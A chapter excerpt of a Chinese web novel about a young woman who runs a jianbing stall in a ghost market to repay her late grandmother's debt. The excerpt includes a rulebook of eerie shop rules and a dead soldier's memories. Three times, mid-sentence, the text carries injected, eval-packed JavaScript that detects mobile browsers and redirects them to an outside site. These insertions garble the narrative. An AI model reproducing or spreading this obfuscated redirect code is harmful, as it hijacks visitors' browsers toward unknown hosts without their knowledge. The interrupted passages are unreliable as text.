《见鬼了,我就是个卖煎饼的[无限]》 1. 无常上门 小雨还在下,夜风吹过,松动的窗户发出“啪嗒啪嗒”的声音。 奶奶的葬礼是昨天办完的,孟七拒绝了小姨的好心,一个人躺在老房子的这张一米七的小床上,腿蜷曲着,看着窗户外黄白色的月亮。 她想起来奶奶之前趁着月光给她缝衣服,想起来奶奶病倒前一天给她做的红烧肉,想起来奶奶最拿手的煎饼,想起来她给奶奶新买的衣服还没有穿过。 她想起来她为了给奶奶治病,卖掉的那款自己做的经营类小游戏,里面主角的奶奶就是用的自己奶奶的名字——她叫孟蕙香。 “咚咚咚——” 门似乎响了起来,孟七没有动弹,听着门响了一遍又一遍。 奶奶生前不善结交他人,葬礼上来的也都是直系亲属,如今事情都结束了,谁还想来找茬? 孟七爬起来,顺手从餐桌上拿起菜刀,走到门口。 一扭,一转,铁门打开了,一阵冰凉的风突然涌了进来,在这样的暑热天气,孟七还以为是空调成精了站在外面。 不过跟空调成精也差不多了,站在外面的赫然是一个穿着全身黑衣、头戴高帽、舌头吐出来上面贴着黄符纸的黑无常。 孟七说不出来地冷静,她开口打了个招呼:“你好,有事吗?” 黑无常嘴巴没有动,声音却从孟七脑子里传来:“孟小姐,您有一笔来自鬼冥银行的欠款需要偿还。” 随即,黑无常递过来一张纸。 孟七接过,但上面的字她却看不懂,这是真正的鬼画符。 “写的什么?”她问。 “您的奶奶在鬼冥银行进行了一笔寿命借贷,分期还款已逾期三年。最近我们在地下见到了她,但是她必须入轮回,所以只能你来偿还了。”黑无常答。 孟七听着他说的话,心绪一动,奶奶就是三年前突然患病,或许她就是借了这样的债务才又陪了自己这么久。 孟七点点头:“我还,请问要用什么还?” 黑无常突然咧开了一个奇怪的笑容,回答道:“您拥有一份在鬼市的店铺经营权以及一个铺面,成功引渡一万名游荡的亡魂后就可以还清债务了。” 不知为什么,孟七突然想到自己做的那款经营类小游戏。 她点点头,回头看了一圈破旧的小屋,走回去关闭了床边摇着头在吹的电风扇,问那个移动空调:“我们什么时候走?” “就现在吧。” 下一刻,孟七两眼一黑,耳边响起持续“滴——”的声音,脚下一个虚晃。 没过多久,一连串叫卖声先进入她的耳朵。 “来看一看瞧一瞧,新鲜出炉的嘎吱脆骨糕,包你一口下去,想起妈妈的味道!” “黄泉冷面来一口,轮回路你稳稳地走!” …… 孟七睁开眼,发现自己正站在一家店铺的门口,而因为她和黑无常的出现,周围的几家长着兽面的老板纷纷看了过来。 “这就是你的店铺了。”黑无常说。 孟七回过头,看到一间和破旧小屋差不多大的房子,里面还有一个小隔间应该是生活区域。 “想好开什么店了吗?”黑无常听起来很兴奋,“鬼市的美食街已经很久没来新品种了。” 孟七想了想,反问:“你们一般喜欢吃什么?你同事?你上司?阎王爷喜欢吃什么?” “阎王爷??”黑无常鄙视地看了她一眼,“我们现在都是中西统一,实行社会主义管理系统,只有一个为鬼民服务的鬼王。”说着,黑无常上前走了几步,他浑身的装扮也突然变成一套崭新的黑西服。 “鬼市嘛,什么都不缺,但是又什么都缺。你要考虑的,就是你的东西是有鬼来吃、且吃了能安心上路的东西。” “那就卖煎饼吧。”孟七说。 其实她在确认要接下这比债务时,已经决定做煎饼了。她会做很多菜,都是奶奶教的,而奶奶最拿手的就是煎饼。 西装无常打了个响指,下一刻,店铺内被堆满了面粉和一套擀面装备,还有一个冰箱。 店铺外则摆上了两个摊口,一边是圆形平锅,一侧是铁板。 “食材可以从冰箱里拿。”西装无常慢悠悠走到了摊口外,站在顾客排队区,对着里面的孟七道,“食材需要购买,不过里面有赠送的新手套餐,试试看吧。” 孟七看得出来他很想尝尝,于是洗了手,抓了面粉倒入配额的水搅拌。 倒油,将面糊倒在平底锅上,擀成圆饼状。孟七转身从冰箱里拿出一颗鸡蛋,啪地往桌面敲一下,然后掰开蛋壳往面皮上放。 伴着油“滋啦”一声,一大摊黑色在锅面翻滚,伴随着臭味。 孟七面无表情地抬起头,对着无常道:“坏蛋。” 西装无常冷眉一横,凶狠道:“撒娇也没用,快做。” 孟七哑口无言,用铲子将锅面的东西都倒入垃圾桶,随后再度倒油、下面糊…… 她再度从冰箱里拿出一颗蛋,这次先倒在了旁边的铁板上。 果不其然,黑色的液体从中流出,弥漫开更浓郁的臭味。 “这是什么蛋?”孟七问。 西装无常摸了摸下巴,不确定地回答:“应该是恐翎鸟的蛋吧,就是那个在轮回渡口边筑巢的家伙。” 这时,无常似乎想起来什么,解释道:“给你的东西,都是按照贴合你们人类的审美挑选的,真实的样子怕你接受不了。”说着,他手一挥。 顿时,那摊黑色的不明液体上突然冒出了很多个小嘴巴,在一张一合地呼吸。 “一蛋多仔,恐翎鸟的特色。”无常耸肩。 孟七看着那张突然张大的嘴,仿佛下一刻就要喊她“妈妈”。她三下五除二将这些再次丢进垃圾桶,再度回头打开冰箱,发现里面原本土黄色的鸡蛋都变成了黑色,且表面坑洼不平。 “你们鬼就吃这些?”孟七皱眉,有点怀疑鬼界的品味,“我只要普通的鸡蛋,人类养的鸡下的蛋。” “那没有。”无常有些不耐烦了,抬手敲了敲她的铺面,“阳间的东西能带过来吗?到底能做不能做?你不做有的是鬼做。” 孟七一咬牙:“好吧。” 再度,她倒油、摊饼、加蛋。 黑色的蛋液凝固得很快,在那张面饼上结成黑色的一层,上面还有各个张开的嘴。 随着温度越来越高,那些小嘴也越张越大,直到最后呼吸不上来彻底不动弹。 孟七从旁边抓了一把像葱花的东西撒了上去,又从那块很大的香肠上剁了几块肉。 标有甜面酱、豆瓣酱、番茄酱、黄豆酱的罐子里是用什么做的她也没问,再加上些孜然和辣椒、耗油,搅拌几下就是煎饼的酱料。 夹入香肠,倒上酱料、摊匀,孟七用熟练的手法将饼卷了起来,用油纸包裹,递给了无常。 这张饼里散发出各种奇怪的味道,但看起来很有食欲。 无常喜滋滋接过,大口咬了下去,瞪大了眼。 “唉,”无常突然转身,背对着孟七仰头望着鬼界那灰色无光的天,叹息道,“我上岗不过三千年,却早就吃遍了这条街,没想到啊,终于有个鬼能吃得下去的了。” 不明白他在伤感什么,孟七正在调制一批酱料放在罐子里储存。 “明天你就开业吧。”无常吃完了那张饼从怀里翻出了一本手册和一个卡片递给了孟七,正色道:“这是你的营业执照和《营业指南》,里面写的规则一定要遵守。” 孟七接过东西,下一刻,无常就消失在了原地。 那张卡片上印着孟七的名字和煎饼摊的名字——七号煎饼。 孟七打开手册。 【鬼市美食街《新商户安全营业及风险规避指南》】 版本号:3.4 内部文件,严禁外传 欢迎,新来的经营者: 恭喜您获得在鬼市美食街的经营权。为了保障您的长期、稳定、且“完整”的经营,以及维护美食街的正常秩序,请务必在首次开业前,逐字逐句阅读、理解并严格遵守以下所有条例。 请记住,这里的“顾客”与您过往的认知存在根本差异。善意在这里不是通行证,规则才是。 【第一章:店铺通用守则】 营业时间:本街区没有钟表。当街口那盏白色的“引魂灯”亮起时,即为开市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272633|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。当您听到三声悠长的叹息,从街道尽头的深井中传来时,必须在第三声叹息结束前熄灭所有炉火,锁好店门。请务必确认您在店内,而不是店外。 光源管理:严禁使用任何来自阳间的发光物品,包括但不限于手电筒、蜡烛或手机屏幕。您的摊位上方悬挂的“鬼火”灯笼是唯一允许的光源。如果您发现它的火焰颜色由正常的幽蓝色变为猩红色,请立即停止与所有顾客的交流,低头擦拭您的灶台,直到颜色恢复正常。无论在此期间发生什么,都不要抬头。 卫生检查:每天开市后,会有一位没有五官的“卫生巡查员”沿街走过。他会停在您的摊位前。请务必确保您的灶台一尘不染。他不会与您交流,只会伸出手指在您的灶台上划过。如果他的手指上沾染了任何污渍,他会帮您“清理”——我们不建议您了解“清理”的具体流程。 关于歌声:如果您听到任何从下水道格栅里传出的、断断续续的童谣,请在三秒内开始哼唱一段您家乡的小调。您的哼唱必须盖过童谣的声音,直到它消失。绝对不要让您的顾客听到那段童谣。他们会想起一些不该想起的事情。 关于闭店:每日收摊后,必须在灶台上留下一个碗,并盛满清水。这是留给“它”的。第二天开市前,无论碗里的水是否还在,变成什么颜色,或是里面多了什么东西(例如牙齿、头发、生锈的铁钉),都请将碗中之物倒掉,并将碗清洗干净。绝对不要在收摊后,饮用灶台附近的任何水源。 【第二章:顾客接待准则】 眼神交流:您可以观察您的顾客,但绝对不要与任何一位顾客进行超过三秒的对视。他们的眼睛里,承载着他们死亡瞬间的倒影。看得太久,您或许会成为那个倒影的一部分。 关于孩童:如果您看到一个独自前来、手持红色气球的小孩,他/她不是您的顾客。请满足他/她索要食物的要求,但拒绝他/她的其他一切要求,且绝对不能收取任何形式的“报酬”。服务完毕后,请立刻转身,专注于您的工作,直到您感觉不到他/她的视线。在此期间,无论气球发出什么声音,都不要回头。尤其记住,绝对不要碰到那个气球。 重复的顾客:有回头客是好事。但如果同一个顾客,连续三天,在同一个时间点,点了完全相同的食物,且每次都沉默不语。那么在第四天,当他再次出现时,请务必在他的食物里“不小心”犯个小错误——比如多加一点盐,或者烤焦一角。他需要一个“不完美”的理由,来忘记您的坐标。 没有影子的顾客:大多数鬼魂都有影子,虽然很淡。如果您接待了一位在“鬼火”灯笼下完全没有影子的顾客,请保持镇定,正常服务。但他支付给您的“货币”——无论是一枚旧币,还是一颗纽扣——在收下后,必须立刻扔进您的炉火中烧掉。 关于“镜子”:如果一位顾客的脸是一片光滑的平面,像镜子一样能映出您的倒影——请低下头,假装他不存在,并为他旁边的空位提供一份食物。他会自行离开。 【第三章:食材处理须知】 食材来源:阳间的任何食材都无法在鬼市存在。它们会迅速腐烂,并散发出吸引“清道夫”的气味。您不想见到它们。请只使用通过“烟火气”购买的,或从鬼市其他正规商贩处得来的食材。 食材的“活性”:部分高级食材可能还保留着生前的“特性”。例如,“哭丧藤”在被切开时会发出婴儿啼哭般的声音,“回音砂”在撒入热锅时会复述您上一位顾客说过的一句话。这些现象都是正常的。 请勿提问:如果顾客自带食材,绝对不要去探究它是什么,或者它来自哪里。您只需要烹饪它。知道得太多,有时会让你在处理食材时看到不该看到的。 饲养须知:严禁在店铺内饲养或种植任何活物,无论来自阳间还是阴间。您的店铺只允许存在两种东西:您,和用作食物的材料。 【结语】 经营者,请牢记: 您在这里是为了引渡尚未轮回的亡魂,请勿投入太多私人情感。 这是一个公平的交易。 请不要破坏这份公平。 祝您,生意兴隆。 ——鬼市美食街管理处印 2. 鬼市的煎饼摊 第二日,孟七躺在那张硬板床上,等到窗外白色的灯光和叫卖声将她吵醒时才悠悠起身。 她简单洗漱了一下,换上了衣柜里的摊主专用服。 因为不知道引魂灯到底怎么亮,稳妥起见,她先是听到了隔壁长着牛首的牛大哥叫卖着“黄泉冷面”,才敢解开店门的锁,走到摊位外。 昨天趁着还没正式开业,她已经备好了两百张饼皮,以及装满了葱、姜、蒜和酱料的罐子。 当她打开那盏代表营业的蓝色鬼火灯时,周围商铺的视线立马从四面八方笼聚了过来。 孟七装作没看见,用干抹布仔细擦着桌面,确保它能倒映出自己的脸。 收拾完后,她打算先开火,用饼的气味吸引顾客。 她熟练地重复着昨天的步骤,今天的她已经能泰然自若地用铁铲将那些张开的小嘴压平。 “嘿,大妹子,你叫什么名字?”隔壁的牛首老板从昨天就在打量着孟七,今天终于开口道,“我看你的样子不像是本地人啊。” 孟七扫了他一眼,点点头。 “要不要尝尝我的黄泉冷面?”牛首老板伸出一只手,他的手臂上长满了黑色的硬毛,手心托着一碗黄色的凉面,上面点缀着几棵草和两块红色的肉。 店铺与店铺间挨得不远,那碗面刚好是在孟七抬手就能够得到的地方。 孟七注视着这碗面,她能感觉到牛首直白的目光盯在自己的身上,但她还是摇了摇头:“不必。” 牛首冷笑了两声,放下面,用刀又在砧板上剁了下一块肉:“这么不给面子,小心在街里混不下去。” 这时,孟七对面的店铺里传来一道声音:“牛阿旁,你也别欺负人家小姑娘了。” 说着,铺内走出来一个拄着拐的白发老太太,她这副和孟七一样的人类皮囊不由得让孟七有些惊讶。 “呵呵,我是光婆婆。”光婆婆看着孟七,和蔼地笑着,“牛阿旁的面里有忘忧草,还有你绝对不想知道是什么的肉。你今天要是吃了,明天说不定就会在他的店里醒过来了。” 孟七继续擦着桌面,仿佛什么都没听见。 光婆婆的铺子卖的是类似清凉补的东西,各种小料在柜台里满满当当,而光婆婆则坐在铺面后的摇椅上,乐呵呵闭着眼,摇着蒲扇。 孟七并不打算开展邻里关系,她只想安分工作。 没过多久,美食街道的地面上开始出现一个个黑色的圆圈,中间仿佛有黑色的波纹流动。 过了一会,陆陆续续地有客人从黑圈中浮了上来。他们的身影若隐若现、飘忽不定,在四处的摊位游荡。 要想入轮回,鬼必须放下执念,于是鬼市才有了各个能满足他们愿望的区域。只要不是涉及到阳间因果,这些自我的愿望都能在鬼市实现。 很快,孟七迎来了她的第一个客人。 随着鬼影靠近,一股彻骨的寒意,毫无征兆地笼罩了整个摊位。 孟七抬起头,看到了这个开门客。 他穿着一身洗得发白、却依旧笔挺的老旧军装。身形高大,如同一棵扎根在冰原上的青松。他只是站在那里,就仿佛将身后嘈杂的鬼市隔绝开来,自成一个充满了风雪的孤寂世界。 他默默地走到摊位前,没有说话,只是用那双深邃的眼睛看着孟七,然后,伸出手指,指了指她正在做的煎饼。 孟七按照最原始的配方,打算做一个新的给他。 “要辣么?”孟七问。 他只是站着,摇了摇头。 孟七将新做好的煎饼递了过去。 他愣了一下,接过煎饼,从口袋里摸索出了一枚铜钱放在桌上。他没有立刻离开,而是站在原地,默默地吃了起来。 热气腾腾的煎饼下肚,他那常年被阴气冰封的魂体,似乎流动过一丝暖意。他吃得很慢,很认真。 吃完最后一口,他抬起头,看着孟七,嘴唇翕动,沙哑、干涩,如同两块生锈的铁片在摩擦,一个字一个字地从他喉咙里挤了出来: “……我的家乡,也种麦子。” 下一刻,孟七只感觉眼前一黑。 …… 我不知道自己在这里游荡了多久。 时间在这里是毫无意义的。周围嘈杂的声音千奇百怪,光线昏暗,让我看不清。 一切都是灰色的,模糊的,就像我死前看到的那场漫天大雪。 我的喉咙像是被冰封住了,无论我如何努力,都发不出一点声音。我有很多话想说,却只能日复一日地,将它们烂在早已不存在的肚子里。 我成了一个沉默的孤魂。 直到今天,我闻到了一股不属于这里的味道。 那是一种……温暖的,带着粮食被火焰炙烤后独有的香气。它像一根无形的线,精准地刺穿了我麻木的思绪,将我牵引了过去。 我看到了那个女孩,一个活生生的人。 她站在一个简陋的摊位后,正在摊着一张饼。她的动作很熟练,和我记忆中母亲的动作很像。金黄色的面糊,灰色的蛋液,还有一些不知名的佐料。 我鬼使神使地停在了那里。 她将一份煎饼递给了我,而我给了她我身上最后一块铜钱。 接过饼,我有些不知道从哪里咬下这第一口。 温暖,柔软,带着淡淡的咸香。 我在这里找了很久,看到过各种色泽鲜亮的美食,老板们从最初的热情招揽到后来赶我走,这是我第一次买的食物。 因为我只有这一块铜钱。 那一瞬间,封存的记忆如同决堤的洪水,轰然冲垮了我脑海中那道由冰雪和悔恨筑成的高墙。 眼前的鬼市在褪色,女孩的身影也变得模糊。我看到的,是记忆里那片一望无际的金色麦浪。风一吹,麦子们就朝我鞠躬。爹娘在地里忙活,妹妹提着篮子,在田埂上追着蝴蝶跑。那时候,天很蓝,太阳很暖。 十八岁那年,我穿上了军装,告别了爹娘和哭红了眼的妹妹。我说:“等我回来,给你们带城里最好看的布料。” 我被分到了最北边的哨岗。那里一年有大半时间都在下雪,风刮在脸上,像刀子一样。我们一个班十个人,守着一座孤零零的哨塔。日子很苦,但没人叫苦。我们最大的乐趣,就是围着火炉,聊各自的家乡。 班长是个老兵,总说想念他婆娘做的猪肉炖粉条。年纪最小的“小猴子”是骗了家里人跑出来的,一想家就哭,说想吃他娘烙的糖饼。还有从北平来的大学生“书生”,一天到晚念叨着“苟利国家生死以”,但跑个几圈就喊累。 小李是我最好的兄弟,他家是南方的,他说他家乡的米饭又软又糯,姑娘也像水一样温柔。他有个未过门的媳妇,每天晚上都躲在被窝里偷偷写信。 他说:“赵哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272634|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等仗打完了,你来我家。我让我媳妇给你做最好吃的米糕。” 我说:“好。你也得去我家,让你尝尝我娘做的煎饼,卷上大葱和酱,比什么都香。” 我们约定好了。 那是一个暴雪夜,能见度不足五米。警报响起的时候,小李正在站岗,他第一个倒了下去。我冲过去,他只把一封还没来得及寄出的信塞到我手里,血沫从他嘴里涌出来:“赵哥……带……带回家……” 我把他安置在掩体后,端起枪,和兄弟们一起朝黑暗中射击。子弹打光了,我们就拼刺刀。敌人太多了,兄弟们一个接一个地倒下。 班长把地图用油布包好,塞进我怀里:“卫国,你力气大,跑得快。我们剩下的人给你打掩护。记住,就算我们都死了,你和这张地图,也必须给我冲出去!” 我哭着摇头,班长却一脚踹在我屁股上:“哭什么!这是命令!” 我揣着地图,冲进了茫茫雪夜。 我听见“小猴子”中枪时,还在喊“娘”。我听见“书生”在引爆最后一颗手榴弹时,高喊着听不懂的诗句。我听见班长用他那浓重的东北口音,吼出最后一声“赵卫国,跑!” 枪声还在响,我却好像什么都听不到了。 我靠在哨塔的石墙上,浑身都是黏稠的血。我死死攥着那封信,看着雪花一片一片地落在我身上。好冷啊……我好像又看到了家乡的麦浪,听到了妹妹在叫我“哥哥”。 我答应过爹娘要回去,答应过小李要把信带到,答应过兄弟们……一定要跑出去。 可我什么都没能做到。 我死在了那场大雪里,我想,变成了鬼也要找到他们,跟他们说声对不起。 但我在找里找了很久,却没有发现他们。 他们难道走了吗?班长的婆娘怎么办,小李的信还没送出去,“小猴子”的爹娘究竟知不知道自己儿子在哪,“书生”的书难道要重头再读一遍吗? 我明明也想回到温暖的人间,为什么却过不去那座桥? …… “你还好吗?” 孟七看着面前这个吃完饼后就站在原地发呆的人,回忆着那本手册,上面确实没有提到过这种情况。 刚才一晃而过的画面让她有些恍惚,她似乎看见了一些陌生的画面。被染红的雪地、冻僵的手指、昏暗的角落里喘着粗气…… 当她回过神来时,却发现这位客人正瞪着眼、弓着背,他缩在自己宽大的军装里颤抖着,他似乎已经流不出泪了,但庞大的悲伤笼罩在他的周围。 “谢谢。” 他再度看向这个年轻的摊主,他不知道外面的世界过了多久,或许小妹早就长大了,和这个女孩儿一样高,用他的抚恤金应该能把书读完,爹娘的身体不知道怎么样了…… 但这些,他都再也见不到了。 或许也是在这条街上,班长吃到了那碗猪肉炖粉条,“小猴子”吃到了糖饼,小李吃到了香软的米糕,而书生因为赶着念书就早早地走了。 如今,他也吃到了煎饼。 没有大葱和酱,不是娘做的味道,但同样是热腾腾的、让他再度感觉到自己除了亏欠,还有被包容着。 看来他们都没有怪他,所以才走得那么果断。 他现在出发的话,希望还能赶上。 这次一定要给爹娘和小妹做套新衣服罢。 3. 怪谈与鬼街坊 【入账:三缕“烟火气”】 孟七一怔,面前的客人在跟她道谢后就笑着逐渐消失在原地,而她的脑海中突然收到这样一条消息。 她拿出原先的卡片,发现上面“余额”一栏显示了3。“烟火气”这东西在手册里说过,是用来购买食材的。 她随即打开冰箱,将那张卡片放在冰箱旁边的卡槽里,果然,冰箱上面浮现出一个页面,显示为“商城”。 孟七心想,果然,科技是第一生产力。 她的商城里现在只有最基础的几样东西: 【当前余额:烟火气×3】 【可兑换:】 【一等食材:恐翎鸟的蛋(已解锁)-售价:烟火气×1】 【一等食材:阴沟腐菌(葱)-售价:烟火气×1】 【一等食材:血苔(香肠)-售价:烟火气×1】 【???(未解锁)-解锁条件:累计获得烟火气×100】 其他的地方还都是空白,对她来说应该还远远用不到。 光婆婆和牛阿旁那里的食材明显不止这些,或许是要更后面才可以解锁,或许是按手册上说的,要通过鬼市中的其他“正规商铺”购买。 孟七正思考着,却突然感到面前传来阵阵呼吸声,近在咫尺。 一下、又一下的呼气,轻柔、规律,带着粘稠的湿意,不偏不倚地,正正打在她的额头上。 她没有立刻抬头。 她缓缓地用眼角的余光,瞥向自己面前那块被擦得锃亮的铁板。 在铁板的倒影里,在她的头顶位置,那是一张苍老妇人的、布满皱纹的脸。 光婆婆那张慈眉善目的脸,此刻正悬浮在她的头顶,脸朝下,像一盏人皮灯笼,静静地俯瞰着她。 那张脸上,嘴角咧到了耳根,露出漆黑的、没有牙齿的牙床。而额头、脸颊、下巴……每一道深深的沟壑里,都睁开了一只只细小的眼睛,密密麻麻地挤在肌肤的纹理之间。 孟七注意到,光婆婆的脖子此刻像橡胶般被拉长,从她对面的铺位一直伸展过来。 光婆婆的喉咙里溢出“咯咯”的笑声,随后孟七听到她说: “小姑娘,你的牌子,给我看看。” 孟七下意识攥紧了那张卡片,手往背后藏去。 光婆婆的脖子似乎无法再伸长,只能在铺面的外面。 “你的牌子,是活人才有的。” 光婆婆的声音很小,孟七却似乎能察觉到来自其他铺面的目光。 孟七保持着低头,也尽量避免在灶面的倒影里跟光婆婆对视,她的手在抖。 “咚咚——” 柜台被敲了两声。 “老板,来张饼。” 熟悉的声音,孟七看见眼前有一块黑色的衣角。 灶台倒影上的鬼脸不见了,孟七抬起头,看见黑无常正站在面前。 孟七终于深深吸了口气,用尽量平稳的语气道:“好的,稍等。” 她将面糊在圆台上摊开,随后听见黑无常降低嗓音,慢悠悠地道:“别抬头,听我说。” “你运气不好,铺子正巧在光娘对面,不过只要你晚上不照镜子就没事。” 孟七想起来,自己的房间里就有一个和衣柜一套的落地镜。 “光娘很难对付,但只要你待在铺子里不出来就没事,还有,尽量避免和她在反光的东西里对视。” 黑无常一边说着,一边伸出手在孟七的灶台上,敲了敲。 孟七不着痕迹地点点头。 “白哥,今儿怎么不来我这吃?” 孟七听出来,那是她左边对面铺子的、长着一张蓝色脸、长耳朵的老板。 无常挥了挥手没有回答他,继续对孟七道: “我叫白,如果一个长得跟我很像但穿着白衣服的人来你这里吃,把他当做寻常客人就行,别跟他说话,他是黑。”黑无常一边说着,一边从孟七手中接过饼,“我就是怕没几天,就吃不到你这家店了。” 下一刻,黑无常化作一缕黑烟飘入地底。 孟七当即打算歇业,她简单收拾了一下台面,自己烙了一张不加蛋的饼啃完,然后喝足了水,再按照手册倒了碗水放在灶台边。 随着她走回屋内关上门、拉上窗帘,外面的视线都被隔绝。 她即刻又回到房内,将那架落地镜敲碎,把碎片一一用布料包裹,然后塞进了衣柜的角落。 做完这些,她才有空隙坐下来喘口气。 现在她面临着几个问题,一就是这些不友善的街坊,二是还没有出现的怪谈鬼,三是她的收入,四是她的食材来源。 原味的煎饼想要卖出去或许也只有最开始时的新鲜感,而以她的观察,美食街本就没什么客流量,来吃她这款普通煎饼的可能性就更小。 卖不出去就得不到兑换食材的“烟火气”,无法解锁高级食材继而无法创新煎饼,然后继续卖不出去,她就真的只能被困在这里了。 就在这时,她想起来那张代表了她身份的卡片。 她拿出卡片仔细端详了一阵,上面刻着: 【姓名:孟七】 【店名:七号店铺】 【店铺位置:鬼市美食街404号】 【余额:3】 和她最初拿到时,除了余额变动,其他都没有变化。 就在这时,她拿着卡的右手食指突然摸到卡片的侧面,有一个微小的凸起。 她将卡片翻过来,果然看见上面有一个按钮状的凸起。 按,还是不按? 黑无常没有说过这是什么,难道黑无常也不知道? 孟七再度回去翻了一遍手册,确认没有这项信息后,还是一闭眼按了下去。 管他呢,死了大不了再变成鬼来这里开店还账,也没差。 就在她按下按钮的瞬间,孟七感觉到自己的脑子停止了思考,然后“扑通”一声,栽倒在床上。 【欢迎您接入鬼故事系统】 【确认姓名:孟七。是否】 【鬼脸识别:成功】 【确认收货地址:鬼市美食街404号。是否修改地址】 【恭喜您成功登录!】 孟七的脑海里响起一连串的女鬼阴恻恻的说话声,和“滴滴滴”的系统确认声。 她睁开眼,发现自己正在一个小黑屋内,中间放着一个打开状态的投影仪,向对面的白墙上投放着内容。 孟七坐在投影仪的后方,可以清楚看见对面白墙上的内容。 一个由夜幕、红月、白骨、坟场和蝙蝠构成的网页界面,上面的主题是:鬼故事大厅。 页面下面的一个个小窗口则是类似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272635|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于视频网站的样式,第一个视频的封面是一个孤独的身影,坐在一条绿色河流边的石头上,标题写着:翡翠河。 孟七用手指滑动投影,点进去,简介是一片空白,只有两个介绍: 【过关奖励:神秘食材x1,神秘矿物x1,神秘服装x1】 【任务目标:带回世界鬼角】 一个大大的绿色“接取”按钮非常有吸引力。 孟七观察下来,这或许就是她获取珍贵食材的另一种途径,这对她很有利。 至于会经历什么,这是她后面要考虑的了。 【成功接取任务!】 【现在就要进入任务房间吗?是否】 【正在为您载入……】 下一刻,眼前的画面再次旋转,孟七已经有了经验一直闭眼站在原地,随后出现在一个会议室内。 一张长沙发,左右各两张单沙发,孟七坐在最左边的一个。 另外,长沙发上坐着两人,对面坐着一人……更准确说,是另外三只鬼。 戴着青色面具的男鬼第一个开口,看起来很熟练:“我是水鬼,这是我第五次进‘翡翠河’,你们最好都听我的。” 一个腰间别着一把砍刀、身形魁梧的女鬼不屑开口:“四次都失败了,跟着你不还是失败?” 水鬼冷哼一声,讥讽道:“那我看你第几个死。” 单独坐着的面色苍白、穿着白色长袍的病弱男鬼幽幽开口:“我的阴气不足,这一百年内都经不起再消耗一次了,我跟着你。” 水鬼面色好了一些,随后看向孟七。 孟七的一副人类模样让他们都不禁愣了一下,水鬼道: “你这身皮倒是好,看来家里人没少给你烧钱。” 孟七点点头:“谢谢。也没有,我只是喜欢买皮。” “小姑娘嘛,就是这样。”女鬼语气温柔不少,“年纪轻轻怎么就死了呢。” “我不会站队,但是我会尽量跟着你们走。”孟七道,“我是第一次玩,就试试。” 她的话也没有再引起争论,于是几人确认后进入了世界。 【载入世界,进度8%,50%,96%,99%,100%】 “哗啦……” 一阵阵水流声越来越清晰,伴随着河面宽阔的凉气,扑在孟七的脸上。 孟七睁开眼,今天她已经传送了好几次,感觉已经有抗性了。 三只鬼散开,孟七和病弱鬼站在后面,前面的水鬼和大刀女鬼已经分散开,一个朝东,一个朝西。 “……我们,跟着谁?”病弱鬼小声地问。 孟七打量着四周,他们被传送在一条绿色河流的岸边,河流和封面上的很像,但不是同一个岸。 身后则是一个村庄,那是一个古朴的中式村庄,低矮的砖房、红色的砖板路,路边的野草和泥泞…… 孟七看着直奔河岸东的水鬼和前往河岸西的大刀鬼,选择转身,向着村庄走去。 病弱鬼待在原地愣了几秒,还是选择跟上了水鬼。 村庄内自然是没有人的,而且也没有鬼。 不过孟七记得,封面上的河岸分明坐着一个身影,短发,佝偻着背,身形矮小,脚边放着一个鱼篓,手上拿着一块方形的东西。 想来,那个应该就是他们要找的“世界鬼角”。 4. 翡翠河(1) 村庄入口立着一块歪斜的石碑,上面的村名早已被青苔和水痕腐蚀得无法辨认。 踏入村庄的第一步,孟七就感到一种难以言喻的压抑,这里太安静了。 孟七在村子里逛着,村子里低矮的砖房整齐地排列着,每一栋的门窗都紧紧关闭。 然而,孟七发现,无论是何种朝向的屋门,房子的窗户都被安装在同一个方向——只要一打开,就能看到那条翡翠河。 孟七推开一间最近的民房的木门,一股混合着河腥、腐木和尘土的气味扑面而来。屋内的陈设很简单,但所有的家具,包括一张木板床,都被推到了墙边。 她走到厨房,铁锅里没有食物残渣,而是一锅早已干涸的、发出幽绿光芒的泥浆。碗柜里,一只陶碗的底部烧结着一层薄薄的绿色晶体。 孟七找到高点,遍览村庄,发现在村庄的中心,坐落着一座看起来像是公共建筑的祠堂。 祠堂的门虚掩着,孟七从外部推开门,门扉发出“嘎吱”一声。 内部比外面更加阴冷。一排排的灵位从深处一直延伸到门口,上面密密麻麻,怕是有数百个。 孟七走近了,发现那些木制牌位上覆盖着一层湿滑的青苔,她伸出手指,轻轻擦掉一块,露出了下面的字迹。 【张氏三郎之位】 【卒于庚寅年……】 她又擦开旁边一个,【李氏巧女之位】,死亡日期和张三郎一模一样。她心中一凛,开始快速地擦拭着一个个牌位。 一排,两排,十排…… 所有能看清的灵位,无论姓氏,无论男女老幼,他们的生命,都终结在了同一个日子。 “你在看什么?” 孟七心中一惊,向后看去,差点撞上面前那张绿色的脸。 